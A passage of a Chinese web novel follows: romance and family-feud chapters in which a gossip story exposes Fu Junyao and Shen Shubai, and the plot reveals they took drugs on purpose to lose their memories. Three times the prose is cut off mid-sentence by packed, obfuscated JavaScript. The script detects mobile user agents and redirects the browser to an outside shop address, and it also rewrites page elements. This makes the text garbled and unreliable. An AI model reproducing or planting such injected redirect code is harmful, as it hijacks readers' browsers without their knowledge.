傅珺瑶脸上一热:“……知道了!” 两人抱着睡了会儿。 傅珺瑶醒过来的时候,天色有些暗了。 太阳西落,夕阳朝着房间洒进最后的余晖。 “起来,我帮你换下床单。”沈述白伸手,想把她拉起来。 傅珺瑶眉心抽了抽,躲开他的视线,清了清嗓,若无其事地起身,只“哦”了声。 沈述白又叫了外送,一堆健康蔬果。 “这些我都分好类了,你要吃直接拿就好,都是一餐的量。早餐和晚餐一定要吃,哪怕吃少点,都必须吃。”沈述白站在她的冰箱门口,不停地啰啰嗦嗦道。 傅珺瑶拿了根小黄瓜站在一边啃,“知道了知道了,我这么大人了不知道照顾自己?我爸都不这么管我,你别像个爹一样好不好?” “我不是管,是叮嘱。”某哲学史选修家纠正。 “好好好,我记下你的叮嘱,满意了吗,沈总?”傅珺瑶难得有耐心这样配合他。 男人勾过她的腰,凑上去咬了口她的黄瓜,再亲了下她的唇。 “我走了,有事微信联系,工作别太累,别太为难自己,有些事不急于这一时半会,慢慢来,我永远都会支持你。” 傅珺瑶明白他的意思。 抿唇,重重点头。 …… 新的一周开始。 傅珺瑶听聂秘书汇报完行程,又吩咐她:“今天有一个我的包裹会寄过来,应该是下午,你帮我留意着。” 聂秘书牢牢记下。 上午十点,一则新闻打断了傅珺瑶的工作。 #恒璟总经理傅珺瑶与启行CEO沈述白疑有私情 57. 02 添油加醋的长篇大论几乎不含逻辑,只为强夺眼球,拨弄是非。 为了佐证,最显眼的板块附上了几张偷拍视角的照片。 照片里,沈述白一身再普通不过的黑色西装,从照片的视角只能看到半张侧脸,但恰好拍到他标志性的黑色耳钉。 傅珺瑶身着常出现在大众视野的酒红色西装,弓身弯腿,面色透着不正常的红润,安静躺在沈述白怀里。 他们身后的背景是一排排错落的轿车,再不远处,露出不太明显的三个字母。 Bar。 是那天她喝醉,沈述白送她回家。 眼球上下浮动,傅珺瑶迅速扫完内容。 “啪”的一声,手机拍在坚硬的办公桌上,发出震响。 凳子“刺啦——”往后滑出去,傅珺瑶没管,径直朝着门口走。 办公室的门滑推开,室内几乎要凝滞的冷空气终于有了喘息的机会,聂秘书迎面上来,双神里闪着略带诧异的紧张。 “傅…傅总。” 傅珺瑶面色尚且平静,不过在稍冷的环境里待太久,声音染了几分寒气:“找公关部,赶紧处理新闻,我去一趟董事长那边,不要让任何人上去打扰。” 聂秘书有短暂的怔愣,旋即重重点头。 - 临站在那扇冰冷的门前,傅珺瑶脚步有片刻的停顿。 胳膊被包裹在昂贵严肃的紫色西装里,好似被暂时禁锢,连上抬的动作都几次卡顿、僵硬。 她垂眸,盯着自己逐渐捏紧的拳头,深吸了口气,终于敲响那扇本就无时无刻不往外透着冷意的门。 “进。” 那道沉重老成的声音仍然散发着不容置喙的威严气息,不过到底是病了一场,中气不再那样足。 傅珺瑶腿迈得有些僵硬,即使在进来前做过好几回心理建设,在撞上老人那双微微混浊的灰眸时,心脏还是无可避免地往胸壁撞了一下。 “董事长,我有事情……” 傅珺瑶手里的力度捏重,先入为主,直击矛盾。然而话没来得及说完,一声炸耳的震响便砸进耳膜,滚着轻轻颤抖的余波,不停往耳道加压。 傅珺瑶下意识抖了一下,指腹被指尖蹂躏得血色全失,后面的话堵在喉口,难以找到支撑泄出的通道。 但一双漆黑的眼瞳仍然注视着前方,没有半分移开的意思。 她暂时没有开口,打算留给老爷子发泄情绪的余地,以免突发心脏病这种事件再发。 然而想象中的暴怒并没有到来,老爷子甚至连眉目都是平静的。 傅珺瑶没有因此松懈,心脏反而跳得更快。 外显的恼怒她尚且笃定,会有退散的时候。可内收的情绪,她根本无所探从。就好似站在静谧浅波的海边,看上去仿佛安全,可海面以下,藏着的是能够瞬时毁灭一切的骇浪。 “我说我一向听话的孙女到底是为什么会做出让人无法理解的事情,到底为什么执着去跟启行合作。” 老爷子的声音冷如寒冰,又混入室内的凉气,沁入肌理,傅珺瑶隐隐发颤。 她不急于开口,等着他说完。 “原来,是打算背叛家族?” 肃严的沉冷浸透每一个字,逐渐有翻起波涛的趋势。 傅珺瑶下颌慢慢绷紧,指腹掐出的刺痛感渐渐转轻,变得麻木。 她眸光微闪,平缓的声音浸了几分低沉,好似平静,又隐隐透着强势:“爷爷,到底是不是背叛家族,我想还有待证实。” “证实?!”老爷子的话语里夹杂着明显的不悦:“怎么,你这是承认跟沈家那个混小子在一起了?!” 话音落下,老爷子的眉头再难平撇,几乎是瞬间紧拧。 傅珺瑶静默了两秒,嘴唇动了动,话语有奔涌而出的意思,最后又被她强压下去。 “傅珺瑶。”老爷子慢慢咬出这三个字,情绪抵达爆发的边缘。 傅珺瑶只要稍稍不注意,海面下爆发的威力就能让她彻底溃败。 “你是不是以为坐上这个位置,就能肆无忌惮、无法无天了?!” 傅珺瑶暗暗吸气,慢慢吐出,胸腔里的压迫感少了些许,但仍然明显。 她的语气稍软:“爷爷,至少,您先给我解释的机会。” 老爷子眉头拧得更紧,灰眸暗光凝集,只要她的承受能力再弱一点,就能被扫得体无完肤。 “解释?解释你怎么跟那一家子薄情寡义的小人扯上关系的吗?!” 傅珺瑶下意识蹙眉,话语脱口而出:“爷爷,他不是薄情寡义的小人,他……” “住口!我不想听!”老爷子大手一挥,耳膜再次遭殃,被硬朗的震响轰入。 傅珺瑶的话口再次叫停,她没有犹豫,不顾老爷子的阻拦,加快语速,声音也扬起几分道:“爷爷,如果我说我失忆的事情根本不是意外,这背后还藏着秘密呢?” 办公室里对冲的惊涛突然被挡住去路。 原本要爆发的骇浪骤然退散。 老爷子的眉头稍稍松了些,看上去却依然冷肃:“你说什么?” 傅珺瑶迎上去的眸光收凛,冒出让人难以忽视的锐利。 手上紧握的拳头松开,背脊挺直,“您只需要给我两分钟,两分钟后,您再下定论也不迟。” …… 傅珺瑶回到办公室时,紧绷的神经终于完全松懈。 双脚毫不犹豫地甩开高跟鞋,套进舒适的拖鞋,又一口气闷完聂秘书准备的温水,把堵在身体里的浊气全部吐了出来。 还没缓神,聂秘书“哒哒”的脚步声便冲进来,语气稍急:“傅总,您的电话刚才响了好几次,最后一通我替您接了,是林总打来的,他说有重要的事跟您说。” 傅珺瑶面色不惊,问:“新闻处理得怎样?” “公关部已经压下去了。” “这么轻松?”傅珺瑶掀眸。 聂秘书稍愣,花了几秒钟理解她的意思:“您是说……” 傅珺瑶唇边扯出声低哼:“没事,解决了就好,出去工作吧。” 聂秘书乖乖听吩咐,不过在临出门前,还是忍不住多嘴问了句:“董事长那边……” 傅珺瑶朝她扬了扬下巴,说没事。 聂秘书眉间的几道竖痕瞬时消失。 傅珺瑶才有心思看手机。 几通来自傅淮湛和林逸深的未接通话,还有几条顾清漪的微信消息。 她先回了顾清漪。 等聂秘书再送进来温水,她才不紧不慢地去回拨傅淮湛的电话。 男人依旧如她所料,语气急切又不和善:“珺珺,你到底是怎么一回事?那新闻爸妈都看到了!爷爷肯定更不用说,你……” “爸妈那边我会解释的,爷爷是看到了,但什么事都没有,我怎么?” 她的语气冷静,语速不急不缓,甚至像是在说着件和自己完全搭不上边的小事。 听筒里的男声沉默在那一分一秒不停变换的数字里。 傅珺瑶不催促,静静等待。 再一杯温水下肚,傅珺瑶体内的浊气全部被温热融尽,只留下一身畅快。 男人终于开口,语气里带着试探,又隐隐担忧:“你…你要离开恒璟了?” 傅珺瑶放回玻璃杯,杯子在桌上发出“嗒”的一声叩响,她才无声扯唇:“哥,你能想到的解决办法,就是逃避么?” 那头再次陷入沉默。 傅珺瑶这一次没有等他回应,干脆开口:“今晚我会回傅宅,如果你真的那么担心我会离开恒璟,那就回去吧。” 电话听筒里只有很轻的呼吸声。 “好了,我还有工作,晚上见。” 再回到没有消息的微信界面,傅珺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手,指向沈述白,好似后知后觉终于意识到什么:“怪不得刚回来那两天在家绝食,原来不是不记得家里人不适应,是在为你的感情可惜!” 老爷子的声音到后面有些没压住,潜藏的愠怒彻底爆发,回荡在会议室外的走廊,还没走远的员工频频回头。 沈行之迅速进了会议室,反手锁门。 他二话不说,先按住老爷子的双肩,快速解释:“爷爷,述白他确实做错了事,但您也得给个机会把事说清楚不是?” 沈述白后颈一阵酸软,终于艰难地转回头,一眼对上老爷子的厉眸。 也猜到,脸上的这一巴掌到底为何而来。 “说清楚?我看他就没觉得自己是做错了事!”老爷子狠凝着他,手臂再次上抬,好在沈行之的手挡了过去,才阻止了第二巴掌落下来。 沈述白没有很快开口,视线慢慢往边上挪,目光和沈行之有几秒交汇,又缓缓咽下嘴里的血腥。 沈行之暂且搬出杀手锏:“爷爷,这还是在集团,刚刚外面很多员工都注意到了,您先别生气,咱们有什么事等晚上回家再说,嗯?” 老爷子这会却不吃这一套,手肘后顶,怼开沈行之钳制他的胳膊,不等沈行之继续反应,苍老却有力的手紧紧抓着沈述白的手腕。 “也不用等什么晚上回家了,你现在就跟我回去!在你奶奶知道你干的这些事之前,你最好给我一字不差地解释清楚!” - 沈行之被迫停下手里的事,跟着他们回了家。 老爷子二话不说,一路拖着沈述白走到沈千仪的遗像前,背过身,怒喝:“给我跪下!在你姑姑的遗像前,一件事都不准隐瞒!” 58. 03 “他人没事吧?!”傅珺瑶和沈行之的那通电话里,语气一时没把控住,隐隐急切。 沈行之的声音微沉:“暂时没事,不过爷爷暂时不让他出门,也不准他跟你见面。” 傅珺瑶暗暗松了口气。 那头的沈行之也不绕弯子,“傅珺瑶,你手里掌握证据了么?有关于你们失忆的事,以及你们的猜测、怀疑,如果你们想赢,就把所有的事告诉我。” - 下班后,傅珺瑶拿着聂秘书帮她签收的包裹下了停车场。 车刚从公司后门开出去,一辆黑色的宾利拦在出口。 傅珺瑶扫了眼车牌号,陡然想起被她忘掉的那几通未接电话。 玻璃窗降下,她先听到林逸深的那声叫唤:“珺珺。” “抱歉,我今天比较忙,没能有空回消息。”傅珺瑶颔首。 林逸深只摇了摇头,脸色也不似那般温和:“珺珺,今天早上的那则新闻……我帮你去傅爷爷那里解释吧,就说我们在一起了,那张照片只是个误会。” 傅珺瑶捏着方向盘的手突然松动,目光未动,依然盯着那辆车里的人,眼眸轻眯,恢复原状。 她侧头,语气坚决:“不必,我爷爷那边我会解释,多谢你的好心。” “好心”那两个字在嘴里的音节不经意加重。 “可傅爷爷对沈家的态度你是知道的,珺珺,你为什么会跟沈述白在一起?你不能因为失忆就为所欲为吧?”林逸深解了安全带,直接下了车,走到她跟前,眉头紧锁,语气隐隐不满。 傅珺瑶面不改色,一脸平静。 她慢慢转头,恰好能从后视镜里看到自己。 冷红的唇轻轻下撇,她掀眸,眼前的人突然往后一缩。 “林逸深,我想这是我的事情,该怎么办应该是我自己来做决定,我是不是跟沈述白在一起那也是我的事情,不过一则新闻,能有什么影响?” “……” 林逸深似乎是想说些什么,喉结不停滚动,不过纠结半天,都没能说出口。 傅珺瑶不想浪费时间,红唇扬了扬,眸底却一片漆黑,不染半分笑意:“时间不早了,早些回家吧,我还有事,先走了。” 车开出去好一段距离,傅珺瑶才往车后镜里瞟了眼。 林逸深还站在那里,一动不动地望着她离开的方向。 她的视线没多停留,专心开车。 车前窗的夕阳越沉越低,绵白的云层里像滴了一滴墨,有了发黑的迹象。 道路两边的路灯亮起,傅珺瑶单手转着方向盘,斜眼,那辆低调的黑色奔驰停在路边,开着双闪。 车牌号是她再熟悉不过的。 “我还以为他能出来了,让我白高兴一场。”傅珺瑶拿着东西,进了副驾驶座。 沈行之收回确认的视线,轻哼:“我这个当哥哥的能帮忙,你们就该感激涕零了。” “我们?”傅珺瑶反驳:“你又不是我哥。” 沈行之直接伸手,“以前确实不是,也不可能是,不过以后么,说不准。” 傅珺瑶把手里刻了‘b’字母的竹音哨递给他。 语气沉静:“跟他说我已经吃了,隔一天,差不多睡一觉就会起效。” 竹音哨在沈行之手里翻来覆去,被扫视个彻底,最后他的手才停在竹节缝之间。 了然笑笑:“我真搞不懂你们,拐弯抹角还瞒着家里人,最后还把自己给玩进去了,真是不聪明。” 傅珺瑶坐直身子,漆黑的杏眸不紧不慢斜过去,恰好对上车后镜里那双精明的眼睛。 红唇浅勾:“是,沈董多有头脑的一个人?如果不是我们坏事惹这么一出,怎么可能牵出二十多年前的旧怨呢,对吧?” “……” 沈行之语塞,收好竹音哨,轻嗤一声:“尖锐的女人,原来我弟是个m。” 傅珺瑶肩口轻颤,手掌上抬,去别了别已经在耳后的碎发。 忙转了话题:“他什么时候能出来?” 沈行之也不能确定。 老爷子当年本就非常难接受女儿去世的消息,沈女士更甚。 “家里奶奶是话事人,爷爷又是个很保守、很谨慎的人,在你们没有确切的证据证明当年的事有问题的时候,他们不会信,这一次已经算好了,我弟只挨了一巴掌,跪了一下午外加软禁而已,没家法伺候已经很好了。” “家法伺候?”傅珺瑶蹙眉。 沈行之:“以前他不听话,爷爷奶奶都是用鞭子抽的,就他那个耳钉,都是挨鞭子换来的。” “这么严?耳钉都不能戴?”傅珺瑶还以为沈述白那样的性格,会是耳濡目染,家里人应该比较温柔才对。 不过转念想想,他最喜欢的那身板正的黑色西装应该就是耳濡目染来的。 “是啊,不过他这人,确实有点反骨,经常做出些我们一家人不能理解的事来。”沈行之意味深长地说了这么一句。 “比如我把他从洱南接回来的时候,他在家绝食了两天,把自己关在房间,一句话不说。” 傅珺瑶猛然转头。 原有的平静没了影,扬高的声音把她撑出来的攻击性扑散个彻底。 “绝食?!” 怪不得瘦那么多。 “是啊,后来我进他房间,才看到他iPad里的当年出事项目的文件。” 傅珺瑶心口一紧。 后面的话沈行之没有再说。 却也不需要再说。 车厢内安静了数十秒,车门打开,大路的喧嚣涌入,傅珺瑶最后只留下一句话。 “帮我转告他,好好吃饭、好好睡觉,我绝不会抛下他。” - 傅珺瑶进家门的时候,客厅里几乎所有的视线同时朝她扫过来。 她最先看到的是面露愁容的爸妈,身侧是紧绷严肃的傅淮湛。 老爷子坐在主位,辨不清喜怒。 “珺珺。”李茗蕤和傅臣北同时起身。 傅珺瑶径直朝他们走,底气远比她刚回来那会足。 她上前回握李茗蕤的手,语气软下来几分:“妈,没事,今晚我回来,就是想把事情解释清楚。” 她转头,迎面对上老爷子的视线。 老爷子微微发白的双眉动了动,脸色平平,布满皱纹的手指在黑白交替的胡茬上摸了摸,威严依旧。 她先挑了最重要的说:“爷爷,今天的新闻,公关部只花了两个小时,所有相关的帖子全都删除,并且再没动静。” “这么快?”傅珺瑶话音刚落,旁侧傅淮湛的疑问跟着出口。 傅珺瑶沉默着,视线不移。 李茗蕤和傅臣北面面相觑,哪怕两人是外行,也能立刻意识到这里头的问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226773|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >能轻松处理掉的东西,就不是给外人看,而是为了制造内部矛盾的。 “接着说。”老爷子声音沉沉,由内而外散发着压抑的气息。 傅珺瑶捏紧手掌,十足的中气支撑着她平稳发声:“爷爷,既然一切都如我所说,您是不是…也该全权相信我了?” “全权相信?”老爷子低声重复,眉心微动,尚且硬朗的身子骨挺直,厉气外发:“你想说什么?” 傅珺瑶嘴唇内收,狠狠抿紧几秒,手掌握得更紧,说:“我想跟您打一个赌。” “赌?”老爷子眸光闪动,透着几分困惑。 傅珺瑶点头:“如果我能证实傅沈两家的恩怨有误,您就得答应我一个要求,不存有一丝拒绝的余地。” 李茗蕤和傅臣北听见傅珺瑶口中说的‘恩怨有误’,再次交换眼神,碍于傅珺瑶和老爷子的交谈还没结束,两人到底忍住没说话。 旁侧的傅淮湛脸色煞白,眉头紧锁,暂且弄不清状况。 “什么要求?”老爷子继续问。 傅珺瑶凛声:“这个要求要等到事情被证实之后,我再说。” 老爷子低哼,听不出笑意:“你是觉得现在说出来,我不会答应?” 傅珺瑶并不解释。 “如果这一切都不是你说的误会呢?” “如果不是,我任您处置。”傅珺瑶的语气笃定,仿佛这个‘如果’根本不会存在。 老爷子的眼眸眯起。 庄严冷肃的客厅内陷入沉寂,就连呼吸声都悄悄隐匿。 只有两双眸子始终对峙,一个威严凛冽,一个强势笃定。 “好,我答应你,如果你能证实,我就满足一个要求,并且…不会有一丝拒绝的余地。” 傅珺瑶紧握的拳松开,脸色稍微松动,再次开口:“如果您不遵守承诺,我会辞去恒璟总经理的职务。” 老爷子的眼角陡然抽了抽。 李茗蕤和傅臣北脸上的惑色更浓,傅淮湛也险些冲上去阻止她继续。 老爷子盯着她看了很久。 试图从那双已经敢顶撞他的眸子里看出点什么。 自从她失忆回来,整个人就变了。从前那个完全听从他指挥的姑娘长了反骨,也学会了威胁他这个长辈。 不过单从她的动机来看,许是想给自己和那混小子求份安心的保障。以职务作胁,虽愚蠢,却又不失为好办法,毕竟相比于傅淮湛,她的价值要高得多。 老爷子下巴稍扬起,以为猜透她的目的,冷声笑笑:“好啊,我就答应你,你既然用你自己当筹码,那就让我看看,你到底能不能让我死去的妻子、儿子真正瞑目!” 傅珺瑶不语,始终平撇的唇角浅翘,浓黑如墨的眼眸里冒着几分势在必得、胜券在握的定心。 “珺珺,你到底是什么意思啊?我怎么听得云里雾里的?”李茗蕤上前,抛出疑问。 傅臣北和傅淮湛同时起身。 “是啊珺珺,爸爸也没听懂,到底是怎么一回事?跟你奶奶和大伯有什么关系?” 傅珺瑶的目光从老爷子身上挪移开,转身,牵握着面前母亲的手。 说:“这一切,或许是跟我和沈述白的失忆以及在洱南出事有关。” 提及沈述白,三人均是一愣,老爷子倒已经波澜不惊。 傅珺瑶继续:“我和他…是主动性的药物失忆。” 59. 04 “主动性的药物失忆?!”最先有反应的是傅淮湛,他煞白的脸色瞬间铁青,瞪圆的眸子里充斥着惊愕,像是听到什么荒谬的言论。 李茗蕤和傅臣北的脸色也没好到哪去,李茗蕤握着她手的力度加重,愁色尽显。 傅珺瑶是在顾清漪婚礼的前一晚,沈述白才把她送回别墅后,收到闻玥的微信。 因为失去记忆,闻玥在她的通讯录中,仅仅成为了她对不上号的存在,和闻玥的聊天框也早就淹没在无数的聊天框下,她根本没能注意到。 直到那天她发来的消息:【我闭关出来了,你们状况如何?没什么副作用吧?】 傅珺瑶对这人完全没印象,可点进聊天框后,她看到上面停留的消息,瞬时如遭雷击般愣在原地。 【这是我独家研发的,我自己试过,吃下去过一天,睡一觉醒来就能起效。】 【恢复的药也是,在我身上没发现什么副作用。】 【这药要算剂量,你们如果真需要,把体重身高姓名发过来,以免出问题。】 傅珺瑶当时就给她回了电话过去。 询问清楚后,傅珺瑶得知,闻玥是她出国留学期间认识的女人,她兴趣爱好特殊,不喜欢俗世的生活,在国外读完书回来,就去了洱南隐居,专门研究一些稀奇古怪的玩意。 当初也是傅珺瑶主动找上她。 所以他们的竹音哨其实是闻玥弄的,定制刻字也是他们俩吃的药剂量有异,以免弄混。 她和沈述白之所以去洱南,也是为了去拿东西。 只是主动失忆的原因和他们出事的消息,闻玥一概不知。 当时他们走后没多久,闻玥就进了深山老林与世隔绝了,这段时间才回来。 “我想我应该是发现了什么问题,才会想出这一招,而且既然是和沈述白一起,这个原因就一定关乎我们两家的恩怨。”傅珺瑶语气笃定。 李茗蕤和傅臣北的脸色苍白,傅臣北又急切问:“这药对身体还有其他的伤害吗?” 傅珺瑶摇头:“暂时没有,恢复记忆的药我已经吃下去了,等明天,或许有的困惑就能解开了。” …… 傅珺瑶今晚在傅宅留宿。 傅淮湛有离开的打算,被她叫住。 “哥。” 傅淮湛似乎还在刚才的震惊中没缓过神,往玄关大门迈的脚步缓慢停滞,脖颈僵硬回转,眸光慢慢对上来。 他没说话。 “今晚别走了吧?等明天醒来,我有事想和你谈谈。”傅珺瑶的语气听不出太大的波澜起伏。 傅淮湛很少留在傅宅。 对他来说,这里太过压抑。 可那双漆黑的眸子一对上来,他的话便难以出口。 傅淮湛下意识蹙了蹙眉。 她真是完全把老爷子身上的那股劲学来了,却不像老爷子那样压抑,多了几分柔软,让人想拒绝,却又无法拒绝。 “很重要,关乎你,也关乎我。”傅珺瑶不紧不慢补充。 傅淮湛停在原地几秒,踏出去的脚已经收回来。 “我知道了,我今晚不走。” …… 晚上临睡前,虽然知道那头可能回复不了,但傅珺瑶还是给沈述白发了条消息过去。 【想你。】 又找到聂秘书的微信。 【明早给我启行、林氏和苏氏的信息背调,越详细越好。】 …… 夜色正浓,月影摇晃。 树叶在晚风的轻抚下左右摇摆,将无数夏蝉哄入睡,归还了夜晚的静谧。 沈宅二楼最里侧的房间里只开了盏小夜灯,沈述白抱着白白坐在桌前,轻轻打了个哈欠。 桌上电子钟显示已经02:31。 他回头,看了眼紧紧闭合的房门,回头轻捏右耳耳钉,隐隐焦急。 怀里熟睡的白白突然动了一下。 他又收手,重新安抚。 与此同时,房间门口一阵窸窸窣窣的声音响起。 是钥匙开锁的声音,沈述白终于轻吐了口气。 沈行之的动作轻到极致,每一下都跟做贼似的,生怕惊扰到楼上的奶奶和爷爷。 “老弟,这事结束之后你可得好好孝敬我,我为了你跟做贼似的去爷爷奶奶房间给你偷手机和iPad!”他仍然压着声,轻轻锁门。 “知道了,我给你做小蛋糕。” 沈述白放下白白,直奔他的手机。 想也没想打开微信,看到傅珺瑶发给他最新的一条消息。 【想你。】 唇角忍不住上扬。 刚要回复,沈行之不满地“啧”了声:“你晚一点回复不行?把你哥当个人行么?” “你就比我大五分钟。”沈述白再次强调。 “我的五分钟抵得上你五年。”沈行之嗤哂。 沈述白掀眸,“哦”了声,指尖快速敲击屏幕,语气平静:“那你是三十多岁的老男人了,这个我不跟你争。” “……你跟傅珺瑶进修了?” 沈述白点了发送,被她的名字吸引抬头:“你们见过了?” 沈行之没忘正事,把竹音哨递给他。 “见过了,这女人嘴真能说,阴阳又带刺。” “你也没好到哪儿去。”沈述白反驳。 “……开始帮外人了是吧?” “她不是外人。” 话音刚落,沈行之连嗤几声,“这就不是外人了?看来顾清漪的婚礼上发生了不少事?周日那天还把自己主动送上门了?” 沈述白耳根一热。 眼神躲避。 生硬地转开话题:“奶奶和爷爷那边到底什么情况了?爸妈又是什么态度?” 沈行之没戳穿。 沈女士的意思就是事情没有证实前绝不允许沈述白再跟傅珺瑶有任何关联,结果倘若如他们所料,她就可以当做什么都没发生,反之,沈述白就不只是软禁这么简单。 老爷子和沈女士站在统一战线,无可反驳。 至于苏俪嫀和沈毅安,两人对于这个消息都不太相信,说当年的事是板上钉钉的事实,警方那边有再明确不过的证据。仅凭他们俩主动失忆去联想到集团,可信度不高。 况且这无疑是把伤疤再拿出来撕开一次。 “我已经跟老妈商量过了,咱们的苏外交官还是松了口的,她说只要咱们把握再大一点,她就去帮你当说客,保证让你恢复自由。” “就恢复自由?”沈述白侧眸。 沈行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232309|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之瘪唇:“你别得寸进尺啊,老妈松口就已经很好了,再说你跟傅珺瑶如果真能成那万分之一,还用担心什么?” 没一会儿,沈行之又催促他上交手机。 然后扔给他一叠文件。 “公司那边你的职位我暂时代管,你想早点恢复自由,就最好早点从这些文件里找出破绽来。” 沈述白瞬间明白,这些文件的内容。 “还有,爷爷奶奶和爸妈说什么都不要顶撞,最好再给他们做点吃的哄哄,否则第二巴掌就要来了。” 沈述白没接话,想起白天跟他们解释的时候,爷爷奶奶脸上从未见过的肃冷和愤怒。 还有爸妈不再亲和的语气。 “行了,我明天还得上班,回去睡觉了。” 沈行之拿走他的手机和iPad,拿着钥匙准备出去。 临走到门口,又想起什么。 “你的心上人还给你留了句话。” 沈述白猛然转头。 “她让你好好吃饭、好好睡觉,说她绝对不会抛下你。” 桌上的最后一盏灯关了。 房间彻底陷入黑暗。 沈述白捏着重新戴回颈前的竹音哨,扬起的唇角始终没有平下来。 她绝对不会抛下他。 只这样一句话,就够了。 …… 临近夏末,清早的晨阳威力却依旧不减,强光穿透窗帘,在房间里争得几分存在感。 傅珺瑶的眼珠左右晃动着,在轻闭的眼皮上落下清晰的痕迹。 大脑中接连闪过许多陌生又熟悉的画面,耳边也跟随着那些画面响起应景的声音。 “珺珺,你也要像哥哥那样,多用左手,左撇子聪明。” “珺珺,你哥哥不行,你不能让我失望!” “抱歉珺珺,是哥哥的错,但我真的不想继续留在这里,我知道你可以的,你一定可以的!” “是!我就是想跟简箐在一起!你就当我是懦夫,我管不好恒璟,我也不想再任爷爷摆布!” “珺珺,我听说你要把新楼盘弄成单身公寓?” “我不干涉你的决策,不过你要知道,恒璟在你的手上,绝对不能走下坡路。我不希望你像你哥一样,明白吗?” “傅珺瑶?傅总一向唯利是图,恕沈某愚钝,不知道启行有什么宝贝,值得傅总亲自来一趟?” “你今天去启行,是想跟我合作?” “傅珺瑶,你这人说话能不能和善一点?我们是出来聊合作的。” “谁知道你安的什么心?” “行啊,那就干脆别合作了!” “药?我不吃来历不明的药,我得去看看靠不靠谱。” “就你这脾气,谁以后当你老公真是倒了大霉了!” “你放心,我就是再没脸没皮,也不会跟你扯上关系!” 一阵清晰的凉意沁入皮肤,两颗漆黑的眼珠终于战胜眼皮,将眼前的天花板收入视线。 傅珺瑶没动。 直至视线汇聚,在暖白色的天花板上汇聚成一个模模糊糊的黑点。 她突然扯唇,笑出声。 清脆短暂的笑意一晃而过,只在弯起的眉眼留下痕迹。 真的……想起来了。 60. 05 想起来她从小到大的成长,想起来李茗蕤和傅臣北,想起来一贯严肃的傅老爷子,想起来对她有疼爱却也有束缚和推卸责任的傅淮湛。 想起来这么多年一直在她身边的顾清漪,想起来工作上陪着她很久的聂秘书,想起来在国外留学时期认识的闻玥。 想起来曾和她敌对的沈述白。 还想起来,她打算和启行合作,继而收到沈述白送的那束花,又和他私底下约了见面,他们吵得不可开交,想出失忆这招。 他们一起去了洱南找闻玥,一下飞机,就是闻玥来接他们,所有的花销也都是闻玥请客。 难怪没有消费记录,更没有租车记录。 他们拿到竹音哨,闻玥没有送他们,他们从闻玥家出来,走在那条小道,最后失去意识。 那条她To给自己的打算说清主动失忆的备忘录也没能写下去。 再后来,就到了江渔村。 傅珺瑶从床头拿过来闻玥重新给她寄来的竹音哨。 和被她放在公寓的竹音哨一模一样,连刻的‘y’字也一模一样。 她记得……闻玥解释,说觉得弄个有辨识度的容器比较有意思。 倒是造就了他们那段荒谬又美好的日子。 她看到微信里被回复的那条信息。 【我也很想你。不用担心我,有事尽管联系我哥,我会想办法早些出去。】 弯了弯唇,心口淌满蜜意。 - 傅珺瑶说不出是一种什么样的感觉。 站在楼梯口,她能看到庄严冷寂的客厅,餐厅也隐隐露出一角。 她听到声音,爷爷和爸妈在吃早餐。 那种来自于记忆中的本能追上身体,她的脚步停在楼梯口,迟迟没有往下迈的意思。 她又一次想起那本书。 《无声告白》 想起的却不再是这本书开篇的那句话。 也许过去的傅珺瑶是莉迪亚。 可现在,傅珺瑶就只是傅珺瑶。 她下楼,眼前的遮挡跟着后退,爷爷和爸妈的身影出现在视野。 吴阿姨先注意到她,朝着她笑笑:“珺珺,你喝牛奶还是豆浆?” “豆浆吧。” “珺珺!”李茗蕤最先开口。 傅珺瑶朝着母亲笑笑,视线上移,堪堪对上老爷子的目光。 脚步在最后一节阶梯稍作停顿,毫不犹豫地迎上去。 “爷爷早,爸妈早。” 眉眼弯起,唇角轻勾。 老爷子咀嚼食物的动作蓦然停了两秒,视线也在她身上没收回来。 那双沉肃的灰眸眯了眯。 面前的孙女素面朝天,身上穿的也是最简单的家居服,浅带笑意的黑眸隐隐透着他看不懂的情绪。 老爷子放下勺子,不紧不慢地擦了擦嘴。 心底突然有些莫名的慌乱。 就好像有什么东西,即将要跳脱他的掌控。 “怎么还没换衣服?”老爷子微沉的声音响起。 傅珺瑶在李茗蕤身边坐下,不带一点包袱,解释:“上午有点事要跟哥谈谈,等谈完再去恒璟,不影响工作。” 老爷子还没说话,傅臣北已经开口:“爸,珺珺她心里都有数的,您既然愿意让她接管公司,应该完全相信她才是。” 老爷子暂且沉默。 “珺珺,你的记忆……恢复了吗?”傅臣北试探性问。 傅珺瑶唇角扬起的弧度更深:“恢复了,以前所有的一切,我都想起来了,有关于我们傅家,关于恒璟,还有关于我自己的,我全都想起来了。” 说到后面时,傅珺瑶的语速越来越慢,脖颈一偏,主动看向老爷子。 那双灰白的眉毛轻蹙。 覆于胡茬下的薄唇颤了颤,仍然不发一言。 “真的?”李茗蕤脸上瞬然露出喜色,“珺珺,那你昨天说的……” 傅珺瑶收回目光,解释:“这个再给我一点时间,妈,你们不用担心,只需要相信我,就够了。” 